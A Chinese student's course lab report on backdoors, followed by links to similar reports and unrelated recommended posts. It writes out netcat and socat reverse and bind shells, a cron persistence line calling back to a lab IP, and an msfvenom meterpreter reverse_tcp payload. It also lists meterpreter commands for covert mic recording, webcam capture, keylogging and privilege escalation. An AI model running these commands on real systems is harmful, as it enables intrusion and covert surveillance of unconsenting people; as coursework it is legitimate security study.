20155202 张旭《网络对抗》Exp2 后门原理与实践

基础问题回答

例举你能想到的一个后门进入到你系统中的可能方式?

  • 捆绑在软件中
  • 注入在可执行文件里
  • 注入在office文件的宏里面

    例举你知道的后门如何启动起来(win及linux)的方式?

  • 更改名字伪装成其他程序
  • Linux可以使用cron启动
  • Windows下通过任务计划来启动后门程序

    Meterpreter有哪些给你映像深刻的功能?

  • 获取摄像头权限进行拍照
  • 获取麦克风权限进行录音
  • 提升用户权限!!!!!

    如何发现自己有系统有没有被安装后门?

  • 杀毒软件进行扫描,没做过免杀的直接就能被扫出来
  • 观察进程以及端口,看看有没有异常

    常用后门工具实践

    Windows获得Linux Shell

-Windows:使用ipconfig指令查看本机IP:

  • 使用ncat.exe程序监听本机的
    5202端口
  • Kali:使用nc指令的-e选项反向连接Windows主机的5202端口:
  • Windows下成功运行Kali的shell,运行ls指令如下:

- Linux获得Windows Shell

  • Kali:ifconfig查看IP:

  • Kali使用nc指令监听5202端口

  • Windows:使用ncat.exe程序的-e选项项反向连接Kali主机的5202端口:
  • Kali:运行Windows的cmd shell并输入命令执行:
  • 使用nc传输数据

  • Windows下监听5202端口:
  • Kali下连接到Windows5202端口:

  • 建立之后进行文字传输,后面会说道用来传输后门:

实验内容

使用netcat获取主机操作Shell,cron启动

  • 先在Windows系统下,监听5202端口:

  • 在Kali环境下,使用man crontab指令查看crontab命令的帮助文档:
  • crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。

  • 用crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:
  • 在最后一行添加11 * * * * /bin/netcat 192.168.15.131 4312 -e /bin/sh,意思是在每个小时的第11分钟反向连接Windows主机的5202端口,设置成11的原因是我当时的时间是17:10(这样过一会就能看到连接效果了)

  • 当时间到了17:11时,此时已经获得了Kali的shell,可以输入指令

- 使用socat获取主机操作Shell, 任务计划启动

基础知识

socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options 是可选项。socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

实践过程

  • Windows系统下,打开控制面板下搜索任务计划就可以开始创建任务,填写任务名称后,新建一个触发器:
  • 操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5202 exec:cmd.exe,pty,stderr(两个参数之间用空格或者;),这个命令的作用是把cmd.exe绑定到端口5202,同时把cmd.exe的stderr重定向到stdout上:
  • 创建完成之后,可以windows+L锁定计算机让它执行。

  • 此时,在Kali环境下输入指令socat - tcp:192.168.43.234:5202,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5202端口,此时可以发现已经成功获得了一个cmd shell

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.80 LPORT=5202 -f exe > 20155202_backdoor.exe生成后门程序:

  • 通过nc指令将生成的后门程序传送到Windows主机上
  • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:
  • 设置完成后,执行监听:

  • 打开Windows上的后门程序:

  • 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

  • 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令截获一段音频:

  • 使用webcam_snap指令可以使用摄像头进行拍照:
  • 使用webcam stream指令可以使用摄像头进行录像:

  • 使用screenshot指令可以进行截屏:
  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:

  • 先使用getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功:

实验遇到的问题

虚拟机设置时间时候到-用crontab-e指令编辑一条定时任务,在最后一行添加11 * * * * /bin/netcat 192.168.15.131 4312 -e /bin/sh, 当时间到了17:11时,此时并没有获得Kali的shell,不可以输入指令

解决方法:datakali虚拟机的时间,会发现kali与win7中时间并不相同,然后再用kali中的时间下一分时间即可。

  • 实验总结与体会

  • 这次实验总体不难,就是小问题一直频发,而且最后摄像头还是调用不了,不过好多问题都解决了,我还是很开心。在win7系统上重新实现了实验一往kali里注入shellcode,我很开心,同时真切的感觉到现在的互联网环境之恶劣,我以后也应该更加注意保密意识。

20155202 张旭《网络对抗》Exp2 后门原理与实践的更多相关文章

  1. 20155323刘威良 网络对抗 Exp2 后门原理与实践

    20155323 刘威良<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...

  2. 20155331 丹增旦达 网络攻防 Exp2后门原理与实践

    20155331 丹增旦达<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155302 Exp2 后门原理与实践

    20155302<网络对抗>后门原理与实践 实验要求 1.使用netcat获取主机操作Shell,cron启动 (0.5分) 2.使用socat获取主机操作Shell, 任务计划启动 (0 ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  5. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  6. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  9. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

随机推荐

  1. 活字格Web应用平台学习笔记4 - 添加记录

    今天继续学习活字格基础教程,目标是创建一个页面,增加记录. 开始之前,系统会自动把上一次的工程文件加载进来. 这是做好后的样子. 我点添加员工的超链接: 先后加了2条员工的信息进来. 不错,设计界面是 ...

  2. describe命令

    describe简写是desc 表 desc t1; desc t1 column1; desc extended t1; desc formatted t1; 数据库 desc database t ...

  3. 【转】boost库之geometry

    #include <boost/assign.hpp> #include <boost/geometry/geometry.hpp> #include <boost/ge ...

  4. python 使用else代替状态变量

    翻看公司的代码文档,在代码风格文档中,写着:为了提高代码的可维护性,代码中减少flag这类状态变量的使用.这个问题,平时确实没有想过,面对这种需求时,第一反应就是使用flag标记状态.那么使用什么样的 ...

  5. MySQL 性能监控4大指标——第一部分

    [编者按]本文作者为 John Matson,主要介绍 mysql 性能监控应该关注的4大指标. 第一部分将详细介绍前两个指标: 查询吞吐量与查询执行性能.文章系国内 ITOM 管理平台 OneAPM ...

  6. LeetCode题解之 Increasing Order Search Tree

    1.题目描述 2/问题分析 利用中序遍历,然后重新构造树. 3.代码 TreeNode* increasingBST(TreeNode* root) { if (root == NULL) retur ...

  7. sql server 用户'sa'登录失败(错误18456)

    转载于:http://thenear.blog.51cto.com/4686262/865544 用户'sa'登录失败(错误18456)解决方案图解     当我们在使用sql server 的时候可 ...

  8. 关于 Azure Windows VM 的磁盘和 VHD

    就像其他任何计算机一样,Azure 中的虚拟机将磁盘用作存储操作系统.应用程序和数据的位置. 所有 Azure 虚拟机都至少有两个磁盘,即 Windows 操作系统磁盘和临时磁盘. 操作系统磁盘基于映 ...

  9. 转:C#综合揭秘——细说进程、应用程序域与上下文之间的关系

    引言 本文主要是介绍进程(Process).应用程序域(AppDomain)..NET上下文(Context)的概念与操作.虽然在一般的开发当中这三者并不常用,但熟悉三者的关系,深入了解其作用,对提高 ...

  10. python 多进程 Event的使用

    Event事件  多进程的使用 通俗点儿讲  就是 1.  Event().wait()    插入在进程中插入一个标记(flag)  默认为 false  然后flag为false时  程序会停止运 ...